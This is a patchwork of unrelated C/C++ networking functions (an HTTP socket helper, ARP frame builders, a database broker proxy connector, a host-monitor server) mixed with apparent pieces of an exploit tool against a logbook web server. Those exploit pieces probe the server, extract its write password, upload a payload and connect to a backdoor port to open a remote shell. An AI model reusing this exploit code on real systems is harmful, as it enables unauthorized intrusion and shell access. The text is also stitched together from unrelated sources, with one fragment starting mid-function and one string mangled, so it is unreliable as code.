/** Cria e determina um endereco pro socket - com porta padrao e IP do host.
*
* @see get_host_ip()
*
* @note O #define da porta padrao esta em network.h.
* Por padrao, a porta para conexoes HTTP e 80. O usuario pode
* modificar isso passando uma outra porta pela linha de comando
* no estilo 'http://www.host.com/file.html:12', que usa a porta 12.
*/
void establish_socket_address(struct sockaddr_in* socket_address)
{
char *host_ip;
int i;
host_ip = get_host_ip(data.host_name);
socket_address->sin_family = AF_INET;
socket_address->sin_port = htons(DEFAULT_PORT);
socket_address->sin_addr.s_addr = inet_addr(host_ip);
/* TODO como lidar com o erro aqui? .s_addr eh unsigned
if (socket_address->sin_addr.s_addr == -1)
{
arg_abort_exec("Error at inet_addr.");
}
*/
for (i = 0; i < 8; i++)
socket_address->sin_zero[i] = '\0';
if (options.extra_verbose == YES)
printf("Socket Address established.\n");
}
void create_arp_res(frame *request,frame *response)
{
ethernet_header *eth_req = request->f_data;
ethernet_header *eth_res = response->f_data;
arp_header *req = (char*)request->f_data + ETHERNET_HEADER_SIZE;
arp_header *res = (char*)response->f_data + ETHERNET_HEADER_SIZE;
ether_addr *arp_sender_eth = get_host_mac();
ip_address *arp_sender_ip = get_host_ip();
memcpy(ð_res->eth_dest_addr,ð_req->eth_src_addr,sizeof(ether_addr));
memcpy(ð_res->eth_src_addr,get_host_mac(),sizeof(ether_addr));
eth_res->ether_type = 0x0608;
res->arp_hard_type = req->arp_hard_type;
res->arp_proto_type = req->arp_proto_type;
res->arp_hard_size = req->arp_hard_size;
res->arp_proto_size = req->arp_proto_size;
res->arp_opcode = 0x0200;
res->arp_sender_eth = *arp_sender_eth;
res->arp_sender_ip = *arp_sender_ip;
res->arp_target_addr = req->arp_sender_eth;
res->arp_target_ip = req->arp_sender_ip;
response->f_len = sizeof(ethernet_header) + sizeof(arp_header) + ETHER_CRC_LEN;
}
unsigned long get_current_ip()
{
char hostname[256];
int rc;
rc = gethostname(hostname, 256);
return rc ? 0 : get_host_ip(hostname);
}
int should_arp_res(arp_header *req)
{
ip_address *ip = get_host_ip();
if(memcmp(*ip, req->arp_target_ip,sizeof(ip_address)))
return 0;
else
return 1;
}
void do_last_stage(char *hostname,short port,char *logbook)
{
int soc;
int yes = 0;
struct sockaddr_in rem_addr;
char angelform[SENDBUFSIZE];
char *content;
int flagz = UPLOADME;
bzero(angelform,sizeof(angelform));
content = make_http_content(flagz,logbook);
strcat(angelform,make_request_header(logbook,boundary,0));
strcat(angelform,content);
soc = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(soc < 0)
{
perror("socket");
exit(1);
}
if(setsockopt(soc,SOL_SOCKET,SO_REUSEADDR,(char *)&yes,sizeof(int))) {
perror("setsockopt");
close(soc);
exit(1);
}
memset(&(rem_addr.sin_zero),'\0',8);
rem_addr.sin_family = AF_INET;
rem_addr.sin_port = htons(port);
rem_addr.sin_addr.s_addr = get_host_ip(hostname);
if(connect(soc,(const struct sockaddr*)&rem_addr,sizeof(rem_addr))) {
fprintf(stderr,"[-] Can not Connect to server!\n");
exit(1);
}
if( (send(soc,angelform,strlen(angelform),0)) < 0 ){
perror("send");
exit(-1);
close(soc);
}
close(soc);
return;
}
void we_r_coming(char* hostname)
{
int sock;
int yes;
short port;
struct sockaddr_in rem_addr;
port = BACKDOOR;
if(id == 6){
port = WINBACKDOOR;
}
if(id == 2 || id == 10 || id == 11){
port = BSDBACKDOOR;
}
sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sock < 0)
{
perror("socket");
exit(1);
}
if(setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(char *)&yes,sizeof(int))) {
perror("setsockopt");
close(sock);
exit(1);
}
memset(&(rem_addr.sin_zero),'\0',8);
rem_addr.sin_family = AF_INET;
rem_addr.sin_port = htons(port);
rem_addr.sin_addr.s_addr = get_host_ip(hostname);
sleep(4);
if(connect(sock,(const struct sockaddr*)&rem_addr,sizeof(rem_addr))) {
NPRINTINFO(REMCRASHED);
close(sock);
exit(1);
}
shell(sock);
exit(0);
}
void create_arp_req(frame *fr)
{
ethernet_header * eth = fr->f_data ;
arp_header * req = fr->f_data + ETHER_HDR_LEN;
memset(ð->eth_dest_addr,0xff,sizeof(ether_addr));
memcpy(ð->eth_src_addr,get_host_mac(),sizeof(ether_addr));
eth->ether_type = 0x0608;
req->arp_hard_type = 0x0100 ;
req->arp_proto_type = 0x0008 ;
req->arp_hard_size = 0x06;
req->arp_proto_size = 0x04;
req->arp_opcode = 0x0100;
memcpy(&req->arp_sender_eth,get_host_mac(),sizeof(ether_addr));
req->arp_sender_ip = *(get_host_ip());
memset(&req->arp_target_addr,0,sizeof(ether_addr));
memcpy(&req->arp_target_ip,get_server_ip(),sizeof(ip_address));
fr->f_len = sizeof(ethernet_header) + sizeof(arp_header) + ETHER_CRC_LEN;
}
/* get a Unix stream socket */
#if defined(WINDOWS)
sock_fd = socket (AF_INET, SOCK_STREAM, 0);
#else /* WINDOWS */
sock_fd = socket (AF_UNIX, SOCK_STREAM, 0);
#endif /* WINDOWS */
if (IS_INVALID_SOCKET (sock_fd))
{
return INVALID_SOCKET;
}
if ((setsockopt (sock_fd, SOL_SOCKET, SO_REUSEADDR, (char *) &one, sizeof (one))) < 0)
{
CLOSE_SOCKET (sock_fd);
return INVALID_SOCKET;
}
#if defined(WINDOWS)
memset (&sock_addr, 0, sizeof (struct sockaddr_in));
sock_addr.sin_family = AF_INET;
sock_addr.sin_port = htons ((unsigned short) (*new_port));
sock_addr_len = sizeof (struct sockaddr_in);
n = INADDR_ANY;
memcpy (&sock_addr.sin_addr, &n, sizeof (int));
#else /* WINDOWS */
memset (&sock_addr, 0, sizeof (struct sockaddr_un));
sock_addr.sun_family = AF_UNIX;
snprintf (sock_addr.sun_path, sizeof (sock_addr.sun_path), "%s", port_name);
sock_addr_len = strlen (sock_addr.sun_path) + sizeof (sock_addr.sun_family) + 1;
#endif /* WINDOWS */
if (bind (sock_fd, (struct sockaddr *) &sock_addr, sock_addr_len) < 0)
{
CLOSE_SOCKET (sock_fd);
return INVALID_SOCKET;
}
#if defined(WINDOWS)
if (getsockname (sock_fd, (struct sockaddr *) &sock_addr, &sock_addr_len) < 0)
{
CLOSE_SOCKET (sock_fd);
return INVALID_SOCKET;
}
*new_port = ntohs (sock_addr.sin_port);
#endif /* WINDOWS */
if (listen (sock_fd, 3) < 0)
{
CLOSE_SOCKET (sock_fd);
return INVALID_SOCKET;
}
return (sock_fd);
}
#ifndef LIBCAS_FOR_JSP
#if defined(WINDOWS)
SOCKET
net_connect_proxy (int proxy_id)
#else /* WINDOWS */
SOCKET
net_connect_proxy (void)
#endif /* !WINDOWS */
{
int fd, len;
#if defined(WINDOWS)
char *broker_port;
int port = 0;
int one = 1;
unsigned char ip_addr[4];
struct sockaddr_in shard_sock_addr;
/* WSA startup */
if (wsa_initialize ())
{
return (INVALID_SOCKET);
}
if (get_host_ip (ip_addr) < 0)
{
return (INVALID_SOCKET);
}
fd = socket (AF_INET, SOCK_STREAM, 0);
if (IS_INVALID_SOCKET (fd))
{
return (INVALID_SOCKET);
}
if ((setsockopt (fd, SOL_SOCKET, SO_REUSEADDR, (char *) &one, sizeof (one))) < 0)
{
return (INVALID_SOCKET);
}
if ((broker_port = getenv (PORT_NUMBER_ENV_STR)) == NULL)
{
return (INVALID_SOCKET);
}
port = atoi (broker_port) + 2;
port = proxy_id * 2 + port;
SHARD_ERR ("<CAS> connect to socket:[%d].\n", port);
memset (&shard_sock_addr, 0, sizeof (struct sockaddr_in));
shard_sock_addr.sin_family = AF_INET;
shard_sock_addr.sin_port = htons ((unsigned short) port);
len = sizeof (struct sockaddr_in);
memcpy (&shard_sock_addr.sin_addr, ip_addr, 4);
#else /* WINDOWS */
struct sockaddr_un shard_sock_addr;
char port_name[BROKER_PATH_MAX];
ut_get_proxy_port_name (port_name, shm_appl->broker_name, as_info->proxy_id, BROKER_PATH_MAX);
if (port_name == NULL)
{
return (INVALID_SOCKET);
}
/* FOR DEBUG */
SHARD_ERR ("<CAS> connect to unixdoamin:[%s].\n", port_name);
if ((fd = socket (AF_UNIX, SOCK_STREAM, 0)) < 0)
return (INVALID_SOCKET);
memset (&shard_sock_addr, 0, sizeof (shard_sock_addr));
shard_sock_addr.sun_family = AF_UNIX;
strncpy (shard_sock_addr.sun_path, port_name, sizeof (shard_sock_addr.sun_path) - 1);
#ifdef _SOCKADDR_LEN /* 4.3BSD Reno and later */
len = sizeof (shard_sock_addr.sun_len) + sizeof (shard_sock_addr.sun_family) + strlen (shard_sock_addr.sun_path) + 1;
shard_sock_addr.sun_len = len;
#else /* vanilla 4.3BSD */
len = strlen (shard_sock_addr.sun_path) + sizeof (shard_sock_addr.sun_family) + 1;
#endif
#endif /* !WINDOWS */
if (connect (fd, (struct sockaddr *) &shard_sock_addr, len) < 0)
{
CLOSE_SOCKET (fd);
return (INVALID_SOCKET);
}
net_error_flag = 0;
return (fd);
}
void spy_attr_options(char *hostname,unsigned short port,char *logbook)
{
int soc;
int ready;
int yes = 0;
char request[REQUESTSIZE];
fd_set read_fd;
struct timeval w_t;
struct sockaddr_in rem_addr;
int k,i = 0;
int n = 0;
char response[6900];
char temp[100];
char *p,*z;
bzero(response,sizeof(response));
bzero(temp,sizeof(temp));
make_spy_header(hostname,port,request,logbook);
w_t.tv_sec = TIMEOUT;
w_t.tv_usec = 0;
soc = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(soc < 0){
perror("socket");
exit(1);
}
if(setsockopt(soc,SOL_SOCKET,SO_REUSEADDR,(char *)&yes,sizeof(int)))
{ perror("setsockopt");
close(soc);
exit(1);
}
memset(&(rem_addr.sin_zero),'\0',8);
rem_addr.sin_family = AF_INET;
rem_addr.sin_port = htons(port);
rem_addr.sin_addr.s_addr = get_host_ip(hostname);
if(connect(soc,(const struct sockaddr*)&rem_addr,sizeof(rem_addr)))
{
fprintf(stderr,"[-] Can not Connect to server!\n");
exit(1);
}
if( (send(soc,request,strlen(request),0)) < 0 )
{
perror("send");
exit(-1);
close(soc);
}
FD_CLR(soc,&read_fd);
FD_ZERO(&read_fd);
FD_SET(soc,&read_fd);
if( (ready = select(soc+1,&read_fd,(fd_set *)NULL,(fd_set *)NULL,&w_t)) < 0)
{
perror("select read socket");
close(soc);
exit(1);
}
if(FD_ISSET(soc,&read_fd)){
i = recv(soc, response, 100, 0);
if (i < 0) {
perror("Cannot receive response");
exit(1);
}
n = i;
while (i > 0) {
i = recv(soc, response + n, 100, MSG_DONTWAIT);
if (i > 0)
n += i;
if(i <= 0)
break;
}
response[strlen(response)] = '\0';
close(soc);
fflush(stdin);
#define findme(x,y) {sprintf(x,"Options %s =%c",y,0x20);}
for(i = 0 ; MISSED[i].addr != NULL ; i++) {
findme(temp,MISSED[i].addr);
if((p = strstr(response,temp)) != NULL) {
z = TRASH[i].addr;
while( (!iscntrl(*p+1) || isalnum(*p+1))){
*z = *(char *)(p + strlen(temp));
z++;
p++;
}
for(k = 0; TRASH[i].addr[k] ; k++) {
if((TRASH[i].addr[k] == ',') || (TRASH[i].addr[k] == '\n')) {
TRASH[i].addr[k] = '\0';
}
}
bzero(temp,sizeof(temp));
}
}
}
return;
}
int check_for_clear_sector(char *hostname,unsigned short port,char *logbook,int flag)
{
struct sockaddr_in rem_addr;
char sendbuf[SENDBUFSIZE];
char *sendbufp;
char getbuf[GETBUFSIZE];
char *reqbuf;
char notfound[100];
int yes;
int total;
int sock;
int flagchoice;
struct timeval w_t;
fd_set read_fd;
int total_fd;
PRINTINFO(MSGSECTOR,debug);
LOGBOOKNOTFOUND(notfound,logbook);
HEAD:
bzero(&w_t,sizeof(w_t));
w_t.tv_sec = TIMEOUT;
w_t.tv_usec = 0;
if(flag == 0)
flagchoice = NOTUPLOADME;
else
flagchoice = UPLOADME;
sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sock < 0)
{
perror("socket");
exit(1);
}
if(setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(char *)&yes,sizeof(int)))
{ perror("setsockopt");
close(sock);
exit(1);
}
memset(&(rem_addr.sin_zero),'\0',8);
rem_addr.sin_family = AF_INET;
rem_addr.sin_port = htons(port);
rem_addr.sin_addr.s_addr = get_host_ip(hostname);
if(connect(sock,(const struct sockaddr*)&rem_addr,sizeof(rem_addr)))
{
fprintf(stderr,"[-] Can not Connect to server!\n");
exit(1);
}
sendbufp = make_http_content(flagchoice,logbook);
reqbuf = make_request_header(logbook,boundary,0);
strcpy(sendbuf,reqbuf);
strcat(sendbuf,sendbufp);
if( (send(sock,sendbuf,sizeof(sendbuf),0)) < 0 )
{
perror("send");
exit(-1);
close(sock);
}
FD_ZERO(&read_fd);
FD_SET(sock,&read_fd);
if( (total_fd = select(sock + 1,&read_fd,(fd_set *)NULL,(fd_set *)NULL,&w_t)) < 0)
{
perror("select");
close(sock);
exit(-1);
}
if(FD_ISSET(sock,&read_fd))
{
if( (total = recv(sock,getbuf,sizeof(getbuf),0)) < 1) {
if(errno == EWOULDBLOCK ){
NPRINTINFO(REMDOWN);
PRINTINFO(REMCRASHED,1);
close(sock);
exit(-1);
}
close(sock);
exit(1);
}
if(strstr(getbuf,INVALIDURL)) {
fprintf(stderr,"[-] Invalid URL Bitch, Type the Correct Path\n");
close(sock);
exit(-1);
}
if(strstr(getbuf,AUTHORIZED_DENY)) {
fprintf(stderr,"[-] Type User name and Password for login Bitch\n");
close(sock);
exit(-1);
}
if(strstr(getbuf,notfound)) {
fprintf(stderr,"[-] NO %s LOGBOOK DEFINED BITCH\n",logbook);
close(sock);
exit(-1);
}
if(strstr(getbuf,ASKEDPASS)) {
NPRINTINFO(PASSALERT);
crack_the_code(hostname,port,logbook);
close(sock);
bzero(getbuf,sizeof(getbuf));
goto HEAD;
}
if(strstr(getbuf,ATTOPTERR)) {
PRINTINFO(READOPTION,1);
close(sock);
bzero(getbuf,sizeof(getbuf));
spy_attr_options(hostname,port,logbook);
goto HEAD;
}
if(strstr(getbuf,ATTERR)) {
get_missing_attributes(getbuf,ATTERR,MISSED[globcount].addr);
ATTNOTFOUND(MISSED[globcount].addr);
MAKINGATT (MISSED[globcount].addr);
globcount++;
bzero(getbuf,sizeof(getbuf));
re_check_sector(hostname,port,logbook,flag);
}
if(strstr(getbuf,SECTOR_CLEAR)) {
PRINTINFO(CLEARAREA,1);
close(sock);
do_last_stage(hostname,port,logbook);
we_r_coming(hostname);
}
}
return(1);
}
void get_server_version(char *hostname,unsigned short port)
{
const unsigned char *version_chec = VERSION_CHECKER;
const unsigned char *version_request = CHECKELOG;
int yes = 1;
int get_total = 0;
int send_total = 0;
char info_buf[INBUF];
int sock_req;
int ready;
struct sockaddr_in rem_addr;
fd_set read_fd;
struct timeval w_t;
w_t.tv_sec = TIMEOUT;
w_t.tv_usec = 0;
PRINTINFO(MSGVER,1);
sock_req = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sock_req < 0) {
perror("socket");
exit(EXIT_FAILURE);
}
if(setsockopt(sock_req,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int)) == -1)
{ perror("setsockopt");
exit(1);
}
memset(&(rem_addr.sin_zero),'\0',8);
rem_addr.sin_family = AF_INET;
rem_addr.sin_port = htons(port);
rem_addr.sin_addr.s_addr = get_host_ip(hostname);
if( connect(sock_req,(struct sockaddr *)&rem_addr,sizeof(struct sockaddr)) == -1)
{
err(1,NULL);
exit(1);
}
FD_ZERO(&read_fd);
FD_SET(sock_req,&read_fd);
if ((send_total = send(sock_req,version_request,strlen(version_request),0)) == -1)
{
perror("send");
exit(1);
}
if((ready = select(sock_req+1,&read_fd,(fd_set *)NULL,(fd_set *)NULL,&w_t)) < 0){
perror("select");
exit(1);
}
if(FD_ISSET(sock_req,&read_fd))
{
if( (get_total = recv(sock_req,info_buf,sizeof(info_buf)-1,0)) == -1)
{
perror("recv");
exit(1);
}
else if(get_total <= 0){
fprintf(stderr,"[-]Can not receive information\n");
exit(1);
}
info_buf[get_total] = '\0';
int i;
char linebuf[LINEBUFSIZ];
char lastbuf[LINEBUFSIZ];
bzero(linebuf,sizeof(linebuf));
bzero(lastbuf,sizeof(lastbuf));
char *p = (char *)&linebuf[0];
char *k = (char *)&lastbuf[0];
char *z;
if((z = strstr(info_buf,version_chec)) != NULL)
{
strncpy(p,z,500);
for(i = 0; (*p != '-') && (*p != '\n'); i++){
*k++ = *p++;
}
PRINTINFO(lastbuf,debug);
close(sock_req);
return;
}
}
NPRINTINFO(NOTELOG);
close(sock_req);
exit(1);
}
void crack_the_code(char *hostname,unsigned short port,char *logbook)
{
int soc;
int ready;
int yes = 0;
char request[REQUESTSIZE];
fd_set read_fd;
struct timeval w_t;
struct sockaddr_in rem_addr;
int i = 0;
int n = 0;
char response[6900];
char wpassbuf[100];
char *z;
char *p = wpassbuf;
char *w = wpassbufenc;
bzero(wpassbuf,sizeof(wpassbuf));
bzero(wpassbufdec,sizeof(wpassbufdec));
make_spy_header(hostname,port,request,logbook);
w_t.tv_sec = TIMEOUT;
w_t.tv_usec = 0;
soc = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(soc < 0)
{
perror("socket");
exit(1);
}
if(setsockopt(soc,SOL_SOCKET,SO_REUSEADDR,(char *)&yes,sizeof(int))) {
perror("setsockopt");
close(soc);
exit(1);
}
memset(&(rem_addr.sin_zero),'\0',8);
rem_addr.sin_family = AF_INET;
rem_addr.sin_port = htons(port);
rem_addr.sin_addr.s_addr = get_host_ip(hostname);
PRINTINFO(GETINGPASS,1);
if(connect(soc,(const struct sockaddr*)&rem_addr,sizeof(rem_addr))) {
fprintf(stderr,"[-] Can not Connect to server!\n");
exit(1);
}
if( (send(soc,request,strlen(request),0)) < 0 ){
perror("send");
exit(-1);
close(soc);
}
FD_CLR(soc,&read_fd);
FD_ZERO(&read_fd);
FD_SET(soc,&read_fd);
if( (ready = select(soc+1,&read_fd,(fd_set *)NULL,(fd_set *)NULL,&w_t)) < 0){
perror("select read socket");
close(soc);
exit(1);
}
if(FD_ISSET(soc,&read_fd)){
i = recv(soc, response, 30, 0);
if (i < 0) {
perror("Cannot receive response");
return ;
}
n = i;
while (i > 0) {
i = recv(soc, response + n, 30, MSG_DONTWAIT);
if (i > 0)
n += i;
if(i <= 0)
break;
}
response[strlen(response)] = '\0';
close(soc);
fflush(stdout);
if((z = strstr(response,"Write Password="******""GREEN"[+]Write Password = "******" "GREEN"%s"DEFAULT"\n",wpassbufdec);
}
}
//version 1 uses the UTcpSocket
void host_monitor_transfer_1(){
//fprintf(stderr,"host_monitor_transfer_1\n");
int portnumber = UDP_HOST_MONITOR_SRV_PORT_NUMBER;
fprintf(stderr,"(host_monitor_transfer_1:%d)\n",portnumber);
int type = MSG_TYPE_HOST;
int src = local_id;
int dist = 0;
int machine_id = 0;
int server_machine_id = 1;
int send_buffer_len = sizeof(int)*MSG_HEAD_SIZE;
char *send_buffer = (char *)malloc(send_buffer_len);
char *recv_buffer = (char *)malloc(MSG_BUFF_SIZE);
int recv_size = 0;
int send_size = 0;
memcpy(send_buffer,(char *)&type,sizeof(int));
memcpy(send_buffer+1*sizeof(int),(char *)&src,sizeof(int));
memcpy(send_buffer+2*sizeof(int),(char *)&dist,sizeof(int));
memcpy(send_buffer+3*sizeof(int),(char *)&machine_id,sizeof(int));
//UTransfer *transfer = UTransfer::get_instance();
char *hip = get_host_ip(server_machine_id);
if(hip == NULL) return;
int m_tcp_port = portnumber;
int m_tcp_sock = socket(PF_INET,SOCK_STREAM,0);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(portnumber);
if(bind(m_tcp_sock,(sockaddr *)&addr,sizeof(addr))<0)
{
cerr<<"(bind error)"<<endl;
return;
}//if
if(listen(m_tcp_sock,5)<0){
cerr<<"listen error."<<endl;
return;
}//if
socklen_t addrlen = sizeof(addr);
int new_sock = ::accept(m_tcp_sock,(struct sockaddr*)&addr,
&addrlen);
if(new_sock>=0)
{
UTcpSocket *usocket = new UTcpSocket();
CSockAddr caddr(addr);
usocket->bind(new_sock,caddr);
fprintf(stderr,"(::accept success)\n");
recv_size = usocket->recv(recv_buffer,MSG_BUFF_SIZE,NULL);
fprintf(stderr,"(recv:%d)\n",recv_size);
if(recv_size>0){
int type = *((int *)recv_buffer);
int src = *((int *)recv_buffer+1);
int dist = *((int *)recv_buffer+2);
int qh_id = *((int *)recv_buffer+3);
if(qh_id >= 1){
*((int *)send_buffer) = type;
*((int *)send_buffer+1) = local_id;
*((int *)send_buffer+2) = src;
*((int *)send_buffer+3) = qh_id;
for(int i = 0;i<num_hosts;i++){
*((int *)send_buffer+MSG_HEAD_SIZE+i) = pcstat[i];
}//for
}//if(qh_id == 0)
if(qh_id == 0){
*((int *)send_buffer) = type;
*((int *)send_buffer+1) = local_id;
*((int *)send_buffer+2) = src;
*((int *)send_buffer+3) = qh_id;
pthread_mutex_lock(&hostq_lock);
for(int i = 0;i<num_hosts;i++){
epbs_host_info *phost = (epbs_host_info *)(send_buffer+
sizeof(int)*MSG_HEAD_SIZE+sizeof(epbs_host_info)*i);
phost->host_stat = hostq[i].host_stat;
phost->host_id = i+1;
strncpy(phost->ip,hostq[i].ip,32);
}//for
pthread_mutex_unlock(&hostq_lock);
} //if
if(usocket->can_write()){
send_size = usocket->send(send_buffer,MSG_BUFF_SIZE,NULL);
fprintf(stderr,"can_write() send_size:%d\n",send_size);
}//if
}//if (recv nbytes>0)
}
}